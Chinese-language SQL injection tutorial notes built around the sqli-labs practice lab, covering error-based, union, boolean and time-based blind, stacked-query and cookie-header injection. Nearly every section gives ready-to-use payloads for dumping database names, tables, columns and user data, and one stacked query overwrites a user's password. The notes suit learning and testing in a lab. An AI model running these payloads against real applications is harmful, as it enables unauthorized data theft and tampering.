类型分为:
数字型和字符型
数字型
当输入的参数为整形时,假如存在漏洞,则是数字型注入
id = 1’ 返回不正常
id = 1 and 1 =1 正常返回
id = 1 and 1=2 不正常返回
字符型
id = 1' 异常
id = 1' and '1' ='1 正常返回
id = 1' and '1' ='2 不正常返回
注入类型
联合查询注入、报错注入、基于布尔的盲注、基于时间的盲注、HTTP头注入、宽字节注入、堆叠查询、二阶注入。
报错注入
特点:通过特殊函数错误使用并使其输出错误结果来获取信息的。,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息
常用报错函数:
updatexml(),extractvalue(),floor(),exp()
例如:
extractvalue(1,concat(0x7e,(select database()))) -- +
id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e)) -- +
id=1' extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e))) -- +
id=1' and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) a),0x7e))) -- +
extractvalue
获取当前数据库名:extractvalue(1,concat(0x7e,(select database()))) -- +
获取数据库的下的所以数据表:extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=数据库名),0x7e)) -- + #
获取数据表的所有字段:extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=数据库名 and table_name=表名),0x7e))) -- +
获取表字段的数据:extractvalue(1,concat(0x7e,(select * from (select 字段名 from 表名 limit 0,1) a),0x7e))) -- +
updatexml
爆数据库名:and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
联合注入
就是使用联合查询进行注入,是一种高效的注入的方式,适用于有回显同时数据库软件版本是5.0以上的MYSQL数据库.
关键函数:union
前提是有在网站注入的时候有回显,把输入的数据会显示出来。
基本流程:
- 判断是否存在注入点
- 使用order by 判断表中的列数量
- 用union,来测试回显点(即可以显示在网站的数据)
- 最后就是正常的sql注入。
例如Less-2
使用and 1=1 ,and 1=2 确定是数字型注入
然后确定表的字段
id=1 order by 4--+ 错误
id=1 order by 3--+ 返回正常
然后判断回显
id=-1 union select 1,2,3--+
可以看到输入的2,3显示出来了,然后后面就跟正常的sql注入就行了。
盲注注入
盲注就是在sql注入过程中,sql语句执行select之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到前端页面,此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。
盲注注入分类:
布尔类型注入:根据页面是否显示正确来判断我们写的语句是否正确执行
时间类型盲注:根据页面加载时间来判断
布尔盲注
如果结果为真时显示效果与原来一-致,结果为假时查询不到数据或与原来数据不--致,则认为存在布尔型盲注。
特点:只显示错误和正确,只有俩种结果,不会显示错误信息。
需要的函数:
length():查看字符串的长度
substr(str,pos,len)
str是字符串
pos是从哪个开始
len是取多少
ascii(str) 查看字符串的ascll值
实例:
less8
查看是否注入点,根据and '1'='1 ,and '1'='2判断出是字符串型
然后
首先判断数据库的长度
and length(database())>7--+正常
and length(database())>8--+错误
说明数据库的长度为8
然后就是猜解数据库名称
id=1' and ascii(substr(database(),1,1))=115--+数据库名的第一位
id=1' and ascii(substr(database(),2,1))=115--+数据库名的第二位
id=1' and ascii(substr(database(),3,1))=115--+数据库名的第三位
id=1' and ascii(substr(database(),n,1))=115--+数据库名的第n位
115数字判断的是你猜的字符的ascii值
当然你也可以把ascii去掉变成
id=1 and substr(database(),n,1)=字符--+
猜数据表名
格式:慢慢猜
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit i,1),n,1))=97 #
猜字段名
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit i,1),n,1))=117 #
i:第几个字段
n:第几个字符
猜数据
1' and ascii(substr((select 字段名from 表名 limit 0,1),n,1))=106 #
n表示第几个字符
但是朋友们,谁傻这样一个一个试呀,没错我第一次傻乎乎的一个一个试,然后忘记了可burpsuite工具进行爆破呀!!!或者使用sqlmap工具爆
时间盲注
它适用与不会返回任何错误信息,只会显示界面,其实可以用sleep()函数可以来制作延迟,如果延迟了说明我们注入成功了,这样就可以来判断我们注入的代码是否正确。
使用的函数:
if(expr1,expr2,expr3):判断1,如果为真,执行2否则3
sleep(n) 延迟n秒
当然还是需要添加布尔盲注的函数进行判断
当然进行了‘进行闭合
可以看到执行了sleep(10)
然后使用核心:if(查询语句,sleep(10),2)
当我们查询语句执行了那么就延迟10秒,接下来查询语句和布尔盲注差不多,如果延迟了所以就正确,没有延迟说明错误
当然这种谁正常人会一个一个试啊,所以可以ptyhon脚本或者burpsuite工具进行爆破。
堆叠注入
mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔
开,而堆叠注入其实就是通过结束符来执行多条sql语句
例如:
查看当表内容
select * from users;
如果我想把id=15的密码改为其他的
select * from users;update users set password="456798" where id=15;
同理sql注入知道了密码表,这些都可以进行删除以及添加等
例如:
http://sqli-labs-master/Less-38/?id=-1%27
使用'进行闭合
http://sqli-labs-master/Less-38/?id=1'--+
使用order by 猜字段为3
查看回响:
http://sqli-labs-master/Less-38/?id=1' union select 1,2,3--+
重要部分:
通个sql注入然后得到表名和字段
然后使用字符";"进行改密码
http://sqli-labs-master/Less-38/?id=1' union select 1,2,3;update users set password="helloword" where id=15;--+
对数据库进行了改掉
所以推叠在sql注入在的情况下可以容易操作mysql语句.
HTTP Header注入
HTTP报文类型:
请求报文:有客户端发送服务器的消息,其中组成请求行,请求头,请求体
响应报文:有服务器向客户端发送的消息:其中状态行,响应头,响应体
-
Cookie注入:服务器对cookie字段进行获取,以验证客户端的身份。
-
Referer注入:服务器记录referer字段用于统计网站的点击量。
-
User-Agent注入:服务器记录访问者的浏览器操作系统版本。
cookie注入
修改cookie的值,使注入的值能够在拼接数据库查询语句从而获得信息,基本上与SQL注入中的get方式提交和post表单方式提交无区别。
cookie利用条件:
首先对get或者post方式没有用的,这个可以使用把?id=1类的参数的url去掉,如果正常,说明参数还是起到了重要的作用,否则不是起到关键作用,
顾名思义就是用cookie进行传值
Less-20
Cookie: uname=admin'
Cookie: uname=admin'--+
然后判断字段:
Cookie: uname=admin' order by 3--+ 正常
Cookie: uname=admin' order by 4--+ 不正常
使用union查看回显
Cookie: uname=-admin' union select 1,2,3--+
接下来就和正常的sql注入一样,数据库,表,字段,数据等